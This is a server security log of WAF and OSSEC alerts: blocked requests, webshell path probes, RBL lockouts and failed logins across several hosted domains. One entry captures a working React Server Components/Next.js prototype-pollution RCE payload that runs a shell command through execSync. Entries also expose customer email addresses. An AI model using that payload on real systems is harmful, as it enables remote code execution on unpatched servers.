# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.170
country_id: 1880251
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cabe.com.my/application/themes/bishop/fonts/biotif-regular-webfont.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cabe.com.my/application/themes/bishop/fonts/fontawesome/fontawesome-webfont5b62.woff2?v=4.6.3 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.1
country_id: 3175395
description:
Jan 12 08:38:21 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.1 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.194
country_id: 1880251
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cabe.com.my/application/themes/bishop/fonts/biotif-bold-webfont.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.121
country_id: 3469034
description:
Jan 12 08:40:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.236
country_id: 1269750
description:
Jan 12 08:40:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.103
country_id: 1269750
description:
Jan 12 08:40:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.36.121
country_id: 953987
description:
Jan 12 08:41:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.36.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.158
country_id: 798544
description:
Jan 12 08:41:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.212
country_id: 690791
description:
Jan 12 08:41:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.120
country_id: 298795
description:
Jan 12 08:42:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.120
country_id: 298795
description:
Jan 12 08:42:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.38
country_id: 798544
description:
Jan 12 08:42:23 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.245.234.23
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/index.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.107.178.100
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=824962 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.230.246
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-45.216.26.230.246||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.160.245
country_id: 99237
description:
Jan 12 08:47:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.160.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.174
country_id: 3865483
description:
Jan 12 08:48:03 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.128
country_id: 3175395
description:
Jan 12 08:47:42 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.160.245
country_id: 99237
description:
Jan 12 08:48:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.160.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.59.224.126
country_id: 798544
description:
Jan 12 08:48:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.59.224.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-12 08:48:54 +0800] info [webmaild] 115.134.149.232 - enquiry@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.174
country_id: 3865483
description:
Jan 12 08:48:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.249.21.217
country_id: 3686110
domain: www.usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.usfood.com.my/index.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.94
country_id: 3175395
description:
Jan 12 08:53:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.223.86
country_id: 798544
description:
Jan 12 08:53:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.223.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.20.58.161
country_id: 798544
description:
Jan 12 08:53:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.20.58.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.23
country_id: 2300660
description:
Jan 12 08:54:30 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.23 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.76.15.23
country_id: 290291
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=a011-0112 - rsc plain carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.77
country_id: 3175395
description:
Jan 12 08:54:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.77 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.37.53.145
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/39dropdown.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 193.109.221.42
country_id: 6252001
domain: smartcable.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/database.sql||User:smartcable||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.187.163.187
country_id: 732800
description:
Jan 12 08:55:41 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.187.163.187 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.139.114.133
country_id: 1733045
description:
[2026-01-12 08:57:12 +0800] info [webmaild] 175.139.114.133 - nazurah@fkr.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/druma_photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.197.24.253
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-00.142.197.24.253||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.170
country_id: 933860
description:
Jan 12 09:00:49 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.246
country_id: 3865483
description:
Jan 12 09:00:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.70.55.73
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1&sub=34 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.246
country_id: 3865483
description:
Jan 12 09:01:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.77
country_id: 3175395
description:
Jan 12 09:01:34 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.77 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-12 09:01:36 +0800] info [webmaild] 175.144.229.115 - accounts@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.110
country_id: 3865483
description:
Jan 12 09:01:44 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.74
country_id: 953987
description:
Jan 12 09:01:51 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.138.82
country_id: 690791
description:
Jan 12 09:02:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.138.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.138.82
country_id: 690791
description:
Jan 12 09:02:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.138.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-12 09:03:33 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:54784: 535 Incorrect authentication data (set_id=admin@sutsb.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.135.39.214
country_id: 953987
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/js/skins/default/lightbox-prev.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.50
country_id: 3865483
description:
Jan 12 09:04:23 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.128
country_id: 3175395
description:
Jan 12 09:04:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - accounts@evergrown.com.my [01/12/2026:01:05:48 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: accounts@evergrown.com.my


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.250.139
country_id: 2395170
description:
Jan 12 09:06:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.250.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.181
country_id: 690791
description:
Jan 12 09:06:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.140.112
country_id: 732800
description:
Jan 12 09:06:35 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.140.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.6.43.236
country_id: 1814991
description:
2026-01-12 09:07:49 dovecot_login authenticator failed for H=([183.6.43.236]) [183.6.43.236]:46713: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.38
country_id: 3175395
description:
Jan 12 09:07:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.110.150
country_id: 798544
description:
Jan 12 09:07:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.110.150 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.195.223.250
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-07.185.195.223.250||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.6.43.236
country_id: 1814991
description:
Jan 12 09:07:47 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.6.43.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.26.236
country_id: 798544
description:
Jan 12 09:09:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.26.236 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.22.98.165
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=953052 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.17.166.0
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=762538 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.206
country_id: 2300660
description:
Jan 12 09:09:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.217
country_id: 2510769
description:
Jan 12 09:09:41 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.69
country_id: 953987
description:
Jan 12 09:09:45 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.120
country_id: 3865483
description:
Jan 12 09:09:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.26.236
country_id: 798544
description:
Jan 12 09:09:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.26.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.186
country_id: 226074
description:
Jan 12 09:09:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.186 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - accounts@evergrown.com.my [01/12/2026:01:10:58 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: accounts@evergrown.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.120
country_id: 3865483
description:
Jan 12 09:10:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.246.170.194
country_id: 1269750
description:
Jan 12 09:13:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.246.170.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.231.190
country_id: 2017370
description:
2026-01-12 09:14:00 dovecot_login authenticator failed for H=([109.72.231.190]) [109.72.231.190]:36107: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.246.170.194
country_id: 1269750
description:
Jan 12 09:13:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.246.170.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jan 12 09:13:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.199.118.234
country_id: 1880251
description:
Jan 12 09:13:27 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.199.118.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.199.118.234
country_id: 1880251
description:
2026-01-12 09:13:29 dovecot_login authenticator failed for H=(448990.cloudwaysapps.com) [128.199.118.234]:46276: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.72.231.190
country_id: 2017370
description:
Jan 12 09:13:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.72.231.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.167
country_id: 3865483
description:
Jan 12 09:14:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.167 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.50.35.84
country_id: 1733045
description:
[2026-01-12 09:14:37 +0800] info [webmaild] 60.50.35.84 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.67.61.202
country_id: 1814991
description:
Jan 12 09:14:44 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.67.61.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.67.61.202
country_id: 1814991
description:
2026-01-12 09:14:46 dovecot_login authenticator failed for H=(202.61.67.125.broad.gz.sc.dynamic.163data.com.cn) [125.67.61.202]:43052: 535 Incorrect authentication data (set_id=mohamad.haznil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/druma_photos/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.21.123.80
country_id: 3042225
description:
[2026-01-12 09:15:53 +0800] info [webmaild] 82.21.123.80 - steven@oxbold.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77093094
abuser: 185.106.176.162
country_id: 1819730
domain: 42.0.28.70
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((42090*41676))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-01-12 09:20:00 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net [111.70.22.153]:45281: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:19:31 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51725: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.22.153
country_id: 1668284
description:
Jan 12 09:19:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.22.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:20:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51735: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:22:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51759: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.220
country_id: 1269750
description:
Jan 12 09:21:36 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:22:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51759: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 104.236.78.45
country_id: 6252001
description:
Jan 12 09:22:52 sv3 pure-ftpd[2589093]: (?@104.236.78.45) [WARNING] Authentication failed for user [woodlinetrd]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.100.185.23
country_id: 3437598
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/about/our-belief-mission-vision HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.51.239.42
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Formatter/IntlFormatter.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
